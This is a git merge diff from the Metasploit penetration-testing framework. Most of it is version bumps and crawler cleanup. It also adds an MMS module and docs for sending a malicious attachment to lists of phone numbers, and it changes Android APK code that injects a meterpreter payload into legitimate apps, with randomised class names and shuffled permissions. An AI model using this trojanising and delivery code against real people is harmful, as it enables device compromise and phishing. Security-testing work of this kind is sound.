Merge remote-tracking branch 'upstream/master' into land-8118-

bug/bundler_fix
Brent Cook 2017-03-17 12:39:30 -05:00
commit 52cea93ea2
36 changed files with 1006 additions and 214 deletions

View File

@ -1,7 +1,7 @@
PATH PATH
remote: . remote: .
specs: specs:
metasploit-framework (4.14.2) metasploit-framework (4.14.3)
actionpack (~> 4.2.6) actionpack (~> 4.2.6)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -14,7 +14,7 @@ PATH
metasploit-concern metasploit-concern
metasploit-credential metasploit-credential
metasploit-model metasploit-model
metasploit-payloads (= 1.2.17) metasploit-payloads (= 1.2.18)
metasploit_data_models metasploit_data_models
metasploit_payloads-mettle (= 0.1.7) metasploit_payloads-mettle (= 0.1.7)
msgpack msgpack
@ -104,7 +104,7 @@ GEM
bcrypt (3.1.11) bcrypt (3.1.11)
bit-struct (0.15.0) bit-struct (0.15.0)
builder (3.2.3) builder (3.2.3)
capybara (2.12.1) capybara (2.13.0)
addressable addressable
mime-types (>= 1.16) mime-types (>= 1.16)
nokogiri (>= 1.3.3) nokogiri (>= 1.3.3)
@ -145,8 +145,8 @@ GEM
ffi (1.9.18) ffi (1.9.18)
filesize (0.1.1) filesize (0.1.1)
fivemat (1.3.2) fivemat (1.3.2)
gherkin (4.0.0) gherkin (4.1.1)
google-protobuf (3.2.0) google-protobuf (3.2.0.2)
googleauth (0.5.1) googleauth (0.5.1)
faraday (~> 0.9) faraday (~> 0.9)
jwt (~> 1.4) jwt (~> 1.4)
@ -164,7 +164,7 @@ GEM
json (2.0.3) json (2.0.3)
jwt (1.5.6) jwt (1.5.6)
little-plugger (1.1.4) little-plugger (1.1.4)
logging (2.1.0) logging (2.2.0)
little-plugger (~> 1.1) little-plugger (~> 1.1)
multi_json (~> 1.10) multi_json (~> 1.10)
loofah (2.0.3) loofah (2.0.3)
@ -190,7 +190,7 @@ GEM
activemodel (~> 4.2.6) activemodel (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-payloads (1.2.17) metasploit-payloads (1.2.18)
metasploit_data_models (2.0.14) metasploit_data_models (2.0.14)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -227,7 +227,7 @@ GEM
pcaprub pcaprub
patch_finder (1.0.2) patch_finder (1.0.2)
pcaprub (0.12.4) pcaprub (0.12.4)
pg (0.19.0) pg (0.20.0)
pg_array_parser (0.0.9) pg_array_parser (0.0.9)
postgres_ext (3.0.0) postgres_ext (3.0.0)
activerecord (>= 4.0.0) activerecord (>= 4.0.0)
@ -256,7 +256,7 @@ GEM
thor (>= 0.18.1, < 2.0) thor (>= 0.18.1, < 2.0)
rake (12.0.0) rake (12.0.0)
rb-readline (0.5.4) rb-readline (0.5.4)
recog (2.1.4) recog (2.1.5)
nokogiri nokogiri
redcarpet (3.4.0) redcarpet (3.4.0)
rex-arch (0.1.4) rex-arch (0.1.4)
@ -335,7 +335,7 @@ GEM
faraday (~> 0.9) faraday (~> 0.9)
jwt (~> 1.5) jwt (~> 1.5)
multi_json (~> 1.10) multi_json (~> 1.10)
simplecov (0.13.0) simplecov (0.14.0)
docile (~> 1.1.0) docile (~> 1.1.0)
json (>= 1.8, < 3) json (>= 1.8, < 3)
simplecov-html (~> 0.10.0) simplecov-html (~> 0.10.0)
@ -350,7 +350,7 @@ GEM
thread_safe (~> 0.1) thread_safe (~> 0.1)
tzinfo-data (1.2017.1) tzinfo-data (1.2017.1)
tzinfo (>= 1.0.0) tzinfo (>= 1.0.0)
windows_error (0.1.0) windows_error (0.1.1)
xpath (2.0.0) xpath (2.0.0)
nokogiri (~> 1.3) nokogiri (~> 1.3)
yard (0.9.8) yard (0.9.8)

18
data/msfcrawler/basic.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
## ##
# $Id$ # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## ##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname' require 'pathname'
require 'nokogiri' require 'nokogiri'
require 'uri' require 'uri'
@ -19,10 +10,7 @@ require 'uri'
class CrawlerSimple < BaseParser class CrawlerSimple < BaseParser
def parse(request,result) def parse(request,result)
return unless result['Content-Type'].include?('text/html')
if !result['Content-Type'].include? "text/html"
return
end
# doc = Hpricot(result.body.to_s) # doc = Hpricot(result.body.to_s)
doc = Nokogiri::HTML(result.body.to_s) doc = Nokogiri::HTML(result.body.to_s)

View File

@ -0,0 +1,31 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'pathname'
require 'nokogiri'
require 'uri'
class CrawlerComments < BaseParser
def parse(request,result)
return unless result['Content-Type'].include?('text/html')
doc = Nokogiri::HTML(result.body.to_s)
doc.xpath('//comment()').each do |comment|
# searching for href
hr = /href\s*=\s*"([^"]*)"/.match(comment)
if hr
begin
hreq = urltohash('GET', hr[1], request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
# ignored
end
end
end
end
end

35
data/msfcrawler/forms.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
## ##
# $Id$ # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## ##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname' require 'pathname'
require 'nokogiri' require 'nokogiri'
require 'uri' require 'uri'
@ -19,28 +10,21 @@ require 'uri'
class CrawlerForms < BaseParser class CrawlerForms < BaseParser
def parse(request,result) def parse(request,result)
return unless result['Content-Type'].include?('text/html')
if !result['Content-Type'].include? "text/html"
return
end
hr = ''
m = ''
doc = Nokogiri::HTML(result.body.to_s) doc = Nokogiri::HTML(result.body.to_s)
doc.css('form').each do |f| doc.css('form').each do |f|
hr = f['action'] hr = f['action']
fname = f['name'] # Removed because unused
fname = "NONE" if fname.empty? #fname = f['name']
#fname = 'NONE' if fname.empty?
m = f['method'].empty? ? 'GET' : f['method'].upcase m = (f['method'].empty? ? 'GET' : f['method'].upcase)
htmlform = Nokogiri::HTML(f.inner_html)
arrdata = [] arrdata = []
htmlform.css('input').each do |p| f.css('input').each do |p|
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}" arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
end end
@ -51,7 +35,10 @@ class CrawlerForms < BaseParser
hreq['ctype'] = 'application/x-www-form-urlencoded' hreq['ctype'] = 'application/x-www-form-urlencoded'
insertnewpath(hreq) insertnewpath(hreq)
rescue URI::InvalidURIError rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end end
end end
end end
end end

10
data/msfcrawler/frames.rb Executable file → Normal file
View File

@ -1,13 +1,8 @@
## ##
# This file is part of the Metasploit Framework and may be subject to # This module requires Metasploit: http://metasploit.com/download
# redistribution and commercial restrictions. Please see the Metasploit # Current source: https://github.com/rapid7/metasploit-framework
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
## ##
require 'rubygems'
require 'pathname' require 'pathname'
require 'nokogiri' require 'nokogiri'
require 'uri' require 'uri'
@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser
hreq = urltohash('GET', ir, request['uri'], nil) hreq = urltohash('GET', ir, request['uri'], nil)
insertnewpath(hreq) insertnewpath(hreq)
rescue URI::InvalidURIError rescue URI::InvalidURIError
# ignored
end end
end end

11
data/msfcrawler/image.rb Executable file → Normal file
View File

@ -1,14 +1,8 @@
## ##
# This file is part of the Metasploit Framework and may be subject to # This module requires Metasploit: http://metasploit.com/download
# redistribution and commercial restrictions. Please see the Metasploit # Current source: https://github.com/rapid7/metasploit-framework
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
## ##
# $Revision: 9212 $
require 'rubygems'
require 'pathname' require 'pathname'
require 'nokogiri' require 'nokogiri'
require 'uri' require 'uri'
@ -27,6 +21,7 @@ class CrawlerImage < BaseParser
hreq = urltohash('GET', im, request['uri'], nil) hreq = urltohash('GET', im, request['uri'], nil)
insertnewpath(hreq) insertnewpath(hreq)
rescue URI::InvalidURIError rescue URI::InvalidURIError
# ignored
end end
end end

11
data/msfcrawler/link.rb Executable file → Normal file
View File

@ -1,14 +1,8 @@
## ##
# This file is part of the Metasploit Framework and may be subject to # This module requires Metasploit: http://metasploit.com/download
# redistribution and commercial restrictions. Please see the Metasploit # Current source: https://github.com/rapid7/metasploit-framework
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
## ##
# $Revision: 9212 $
require 'rubygems'
require 'pathname' require 'pathname'
require 'nokogiri' require 'nokogiri'
require 'uri' require 'uri'
@ -26,6 +20,7 @@ class CrawlerLink < BaseParser
hreq = urltohash('GET', hr, request['uri'], nil) hreq = urltohash('GET', hr, request['uri'], nil)
insertnewpath(hreq) insertnewpath(hreq)
rescue URI::InvalidURIError rescue URI::InvalidURIError
# ignored
end end
end end

14
data/msfcrawler/objects.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
## ##
# $Id$ # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## ##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname' require 'pathname'
require 'nokogiri' require 'nokogiri'
require 'uri' require 'uri'
@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser
hreq = urltohash('GET', s, request['uri'], nil) hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq) insertnewpath(hreq)
rescue URI::InvalidURIError rescue URI::InvalidURIError
# ignored
end end
end end
end end

16
data/msfcrawler/scripts.rb Executable file → Normal file
View File

@ -1,17 +1,8 @@
## ##
# $Id$ # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## ##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# $Revision$
require 'rubygems'
require 'pathname' require 'pathname'
require 'nokogiri' require 'nokogiri'
require 'uri' require 'uri'
@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser
def parse(request,result) def parse(request,result)
return unless result['Content-Type'].include? "text/html" return unless result['Content-Type'].include? "text/html"
hr = ''
m = ''
doc = Nokogiri::HTML(result.body.to_s) doc = Nokogiri::HTML(result.body.to_s)
doc.xpath("//script").each do |obj| doc.xpath("//script").each do |obj|
s = obj['src'] s = obj['src']
@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser
hreq = urltohash('GET', s, request['uri'], nil) hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq) insertnewpath(hreq)
rescue URI::InvalidURIError rescue URI::InvalidURIError
# ignored
end end
end end

View File

@ -0,0 +1,150 @@
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
collection of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
**CELLNUMBERS**
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
against multiple phone numbers, ideally you want to create the list in a text file (one number per
line), and then load the CELLNUMBERS option like this:
```
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
```
Remember that these phone numbers must be the same carrier.
**MMSCARRIER**
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**TEXTMESSAGE**
The text message you want to send. For example, this will send a text with a link to google:
```
set TEXTMESSAGE "Hi, please go: google.com"
```
The link should automatically be parsed on the phone and clickable.
**MMSFILE**
The attachment to send in the message.
**MMSFILECTYPE**
The content type to use for the attachment. Commonly supported ones include:
* audio/midi
* image/jpeg
* image/gif
* image/png
* video/mp4
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
**SMTPADDRESS**
The mail server address you wish to use to send the MMS messages.
**SMTPPORT**
The mail server port. By default, this is ```25```.
**SMTPUSERNAME**
The username you use to log into the SMTP server.
**SMTPPASSWORD**
The password you use to log into the SMTP server.
**SMTPFROM**
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
in order to receive the text, such as AT&T.
**MMSSUBJECT**
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
## Supported Carrier Gateways
The module supports the following carriers:
* AT&T
* Sprint
* T-Mobile
* Verizon
* Google Fi
## Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
http://freecarrierlookup.com/
## Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
After creating the application password, configure auxiliary/client/mms/send_mms this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set textmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.gmail.com```
* ```set smtpport 587```
* ```set mmsfile /tmp/example.mp4```
* ```set mmsfilectype video/mp4```
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
* ```set smtppassword [APPLICATION PASSWORD]```
And you should be ready to go.
## Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
Before using the module, you must do this to your Yahoo account:
1. Sign in to Yahoo Mail.
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
3. Turn on Allow apps that use less secure sign in.
After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set textmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.mail.yahoo.com```
* ```set smtpport 25```
* ```set mmsfile /tmp/example.mp4```
* ```set mmsfilectype video/mp4```
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
And you're good to go.
## Demonstration
After setting up your mail server and the module, your output should look similar to this:
```
msf auxiliary(send_mms) > run
[*] Sending mms message to 1 number(s)...
[*] Done.
[*] Auxiliary module execution completed
msf auxiliary(send_mms) >
```

View File

@ -1,6 +1,6 @@
```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart `struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
```Content-Type``` value. `Content-Type` value.
## Vulnerable Application ## Vulnerable Application
@ -29,7 +29,7 @@ set as optional.
**The Check Command** **The Check Command**
The ```struts2_content_type_ognl``` module comes with a check command that can effectively check The `struts2_content_type_ognl` module comes with a check command that can effectively check
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
following: following:
@ -39,7 +39,7 @@ set RHOST [IP]
set TARGETURI [path to the Struts app with an action] set TARGETURI [path to the Struts app with an action]
``` ```
When the module is in verbose mode, the ```check``` command will try to tell you the OS information, When the module is in verbose mode, the `check` command will try to tell you the OS information,
and whether or not the machine is vulnerable. Like this: and whether or not the machine is vulnerable. Like this:
``` ```
@ -54,7 +54,7 @@ msf exploit(struts2_content_type_ognl) > check
After identifying the vulnerability on the target machine, you can try to exploit it. After identifying the vulnerability on the target machine, you can try to exploit it.
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads, The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a try to do `show payloads`, and pick one. The following example demonstrates us exploiting a
vulnerable Ubuntu host: vulnerable Ubuntu host:
``` ```

View File

@ -30,7 +30,7 @@ module Metasploit
end end
end end
VERSION = "4.14.2" VERSION = "4.14.3"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev' PRERELEASE = 'dev'
HASH = get_hash HASH = get_hash

View File

@ -28,5 +28,5 @@ require 'msf/core/auxiliary/iax2'
require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/ntp'
require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/pii'
require 'msf/core/auxiliary/redis' require 'msf/core/auxiliary/redis'
require 'msf/core/auxiliary/sms' require 'msf/core/auxiliary/sms'
require 'msf/core/auxiliary/mms'

View File

@ -0,0 +1,69 @@
# -*- coding: binary -*-
###
#
# The Msf::Auxiliary::Mms mixin allows you to send a text message
# including a media file.
#
##
module Msf
module Auxiliary::Mms
def initialize(info={})
super
register_options(
[
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
OptString.new('MMSSUBJECT', [false, 'The Email subject', '']),
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
OptString.new('TEXTMESSAGE', [true, 'The text message to send']),
OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']),
OptString.new('MMSFILECTYPE', [false, 'The attachment content type'])
], Auxiliary::Mms)
register_advanced_options(
[
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
], Auxiliary::Mms)
end
# Sends an MMS message to multiple numbers of the same service provider (carrier).
#
# @example This sends a text (including an attachment) via Gmail
# smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
# mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp)
# mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg')
#
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
# @param subject [String] MMS subject
# @param message [String] The text to send.
# @param attachment_path [String] Optional
# @param ctype [String] Optional
#
# @return [void]
def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
smtp = Rex::Proto::Mms::Model::Smtp.new(
address: datastore['SMTPADDRESS'],
port: datastore['SMTPPORT'],
username: datastore['SMTPUSERNAME'],
password: datastore['SMTPPASSWORD'],
login_type: datastore['SmtpLoginType'].to_sym,
from: datastore['SMTPFROM'],
)
carrier = datastore['MMSCARRIER'].to_sym
mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp)
mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype)
end
end
end

View File

@ -23,6 +23,16 @@ module Msf
) )
end end
def is_loopback_address?(address)
begin
a = IPAddr.new(address.to_s)
return true if IPAddr.new('127.0.0.1/8') === a
return true if IPAddr.new('::1') === a
rescue
end
false
end
# A list of addresses to attempt to bind, in preferred order. # A list of addresses to attempt to bind, in preferred order.
# #
# @return [Array<String>] a two-element array. The first element will be # @return [Array<String>] a two-element array. The first element will be
@ -32,11 +42,18 @@ module Msf
def bind_addresses def bind_addresses
# Switch to IPv6 ANY address if the LHOST is also IPv6 # Switch to IPv6 ANY address if the LHOST is also IPv6
addr = Rex::Socket.resolv_nbo(datastore['LHOST']) addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
# First attempt to bind LHOST. If that fails, the user probably has # First attempt to bind LHOST. If that fails, the user probably has
# something else listening on that interface. Try again with ANY_ADDR. # something else listening on that interface. Try again with ANY_ADDR.
any = (addr.length == 4) ? "0.0.0.0" : "::0" any = (addr.length == 4) ? "0.0.0.0" : "::0"
addr = Rex::Socket.addr_ntoa(addr)
addrs = [ Rex::Socket.addr_ntoa(addr), any ] # Checking if LHOST is a loopback address
if is_loopback_address?(addr)
print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?")
end
addrs = [ addr, any ]
if not datastore['ReverseListenerBindAddress'].to_s.empty? if not datastore['ReverseListenerBindAddress'].to_s.empty?
# Only try to bind to this specific interface # Only try to bind to this specific interface
@ -87,10 +104,8 @@ module Msf
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
else else
ex = false ex = false
via = via_string_for_ip(ip, comm) via = via_string_for_ip(ip, comm)
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
break break
end end
end end

View File

@ -419,4 +419,3 @@ end
end end
end end

View File

@ -54,15 +54,9 @@ module Msf::Payload::Android
transports: opts[:transport_config] || [transport_config(opts)] transports: opts[:transport_config] || [transport_config(opts)]
} }
config = Rex::Payloads::Meterpreter::Config.new(config_opts) config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
result = config.to_b config[0] = "\x01" if opts[:stageless]
config
result[0] = "\x01" if opts[:stageless]
result
end
def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
end end
def sign_jar(jar) def sign_jar(jar)
@ -98,14 +92,18 @@ module Msf::Payload::Android
end end
def generate_jar(opts={}) def generate_jar(opts={})
config = generate_config(opts)
if opts[:stageless] if opts[:stageless]
classes = MetasploitPayloads.read('android', 'meterpreter.dex') classes = MetasploitPayloads.read('android', 'meterpreter.dex')
# Add stageless classname at offset 8000
config += "\x00" * (8000 - config.size)
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
else else
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end end
config = generate_config(opts) config += "\x00" * (8195 - config.size)
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config) classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
jar = Rex::Zip::Jar.new jar = Rex::Zip::Jar.new
files = [ files = [

View File

@ -35,9 +35,14 @@ class Msf::Payload::Apk
end end
end end
# Find the activity that is opened when you click the app icon # Find a suitable smali point to hook
def find_launcher_activity(amanifest) def find_hook_point(amanifest)
package = amanifest.xpath("//manifest").first['package'] package = amanifest.xpath("//manifest").first['package']
application = amanifest.xpath('//application')
application_name = application.attribute("name")
if application_name
return application_name.to_s
end
activities = amanifest.xpath("//activity|//activity-alias") activities = amanifest.xpath("//activity|//activity-alias")
for activity in activities for activity in activities
activityname = activity.attribute("targetActivity") activityname = activity.attribute("targetActivity")
@ -68,7 +73,7 @@ class Msf::Payload::Apk
} }
end end
def fix_manifest(tempdir, package) def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
#Load payload's manifest #Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission") payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
@ -78,6 +83,8 @@ class Msf::Payload::Apk
original_permissions = original_manifest.xpath("//manifest/uses-permission") original_permissions = original_manifest.xpath("//manifest/uses-permission")
old_permissions = [] old_permissions = []
add_permissions = []
original_permissions.each do |permission| original_permissions.each do |permission|
name = permission.attribute("name").to_s name = permission.attribute("name").to_s
old_permissions << name old_permissions << name
@ -87,21 +94,26 @@ class Msf::Payload::Apk
payload_permissions.each do |permission| payload_permissions.each do |permission|
name = permission.attribute("name").to_s name = permission.attribute("name").to_s
unless old_permissions.include?(name) unless old_permissions.include?(name)
print_status("Adding #{name}") add_permissions += [permission.to_xml]
if original_permissions.empty? end
application.before(permission.to_xml) end
original_permissions = original_manifest.xpath("//manifest/uses-permission") add_permissions.shuffle!
else for permission_xml in add_permissions
original_permissions.before(permission.to_xml) print_status("Adding #{permission_xml}")
end if original_permissions.empty?
application.before(permission_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission_xml)
end end
end end
application = original_manifest.at_xpath('/manifest/application') application = original_manifest.at_xpath('/manifest/application')
receiver = payload_manifest.at_xpath('/manifest/application/receiver') receiver = payload_manifest.at_xpath('/manifest/application/receiver')
service = payload_manifest.at_xpath('/manifest/application/service') service = payload_manifest.at_xpath('/manifest/application/service')
receiver.attributes["name"].value = package + receiver.attributes["name"].value receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
service.attributes["name"].value = package + service.attributes["name"].value receiver.attributes["label"].value = main_broadcast_receiver
service.attributes["name"].value = package + '.' + main_service
application << receiver.to_xml application << receiver.to_xml
application << service.to_xml application << service.to_xml
@ -110,7 +122,7 @@ class Msf::Payload::Apk
def parse_orig_cert_data(orig_apkfile) def parse_orig_cert_data(orig_apkfile)
orig_cert_data = Array[] orig_cert_data = Array[]
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}") keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
owner_line = keytool_output.match(/^Owner:.+/)[0] owner_line = keytool_output.match(/^Owner:.+/)[0]
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
orig_cert_data.push("#{orig_cert_dname}") orig_cert_data.push("#{orig_cert_dname}")
@ -185,24 +197,22 @@ class Msf::Payload::Apk
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
print_status "Locating hook point..\n" print_status "Locating hook point..\n"
launcheractivity = find_launcher_activity(amanifest) hookable_class = find_hook_point(amanifest)
unless launcheractivity smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
end
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
smalifiles = Dir.glob(smalifile) smalifiles = Dir.glob(smalifile)
for smalifile in smalifiles for smalifile in smalifiles
if File.readable?(smalifile) if File.readable?(smalifile)
activitysmali = File.read(smalifile) hooksmali = File.read(smalifile)
break
end end
end end
unless activitysmali unless hooksmali
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n" raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
end end
entrypoint = 'return-void' entrypoint = 'return-void'
unless activitysmali.include? entrypoint unless hooksmali.include? entrypoint
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n" raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
end end
@ -212,6 +222,10 @@ class Msf::Payload::Apk
package = amanifest.xpath("//manifest").first['package'] package = amanifest.xpath("//manifest").first['package']
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
classes = {}
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
package_slash = package.gsub(/\./, "/") package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n" print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
@ -221,15 +235,22 @@ class Msf::Payload::Apk
# Copy over the payload files, fixing up the smali code # Copy over the payload files, fixing up the smali code
payload_files.each do |file_name| payload_files.each do |file_name|
smali = File.read(file_name) smali = File.read(file_name)
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash) smali_class = File.basename file_name
newfilename = "#{payload_dir}#{File.basename file_name}" for oldclass, newclass in classes
File.open(newfilename, "wb") {|file| file.puts newsmali } if smali_class == "#{oldclass}.smali"
smali_class = "#{newclass}.smali"
end
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
end
smali.gsub!(/com\/metasploit\/stage/, package_slash)
newfilename = "#{payload_dir}#{smali_class}"
File.open(newfilename, "wb") {|file| file.puts smali }
end end
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
^ + entrypoint ^ + entrypoint
hookedsmali = activitysmali.sub(entrypoint, payloadhook) hookedsmali = hooksmali.sub(entrypoint, payloadhook)
print_status "Loading #{smalifile} and injecting payload..\n" print_status "Loading #{smalifile} and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali } File.open(smalifile, "wb") {|file| file.puts hookedsmali }
@ -237,7 +258,7 @@ class Msf::Payload::Apk
injected_apk = "#{tempdir}/output.apk" injected_apk = "#{tempdir}/output.apk"
aligned_apk = "#{tempdir}/aligned.apk" aligned_apk = "#{tempdir}/aligned.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n" print_status "Poisoning the manifest with meterpreter permissions..\n"
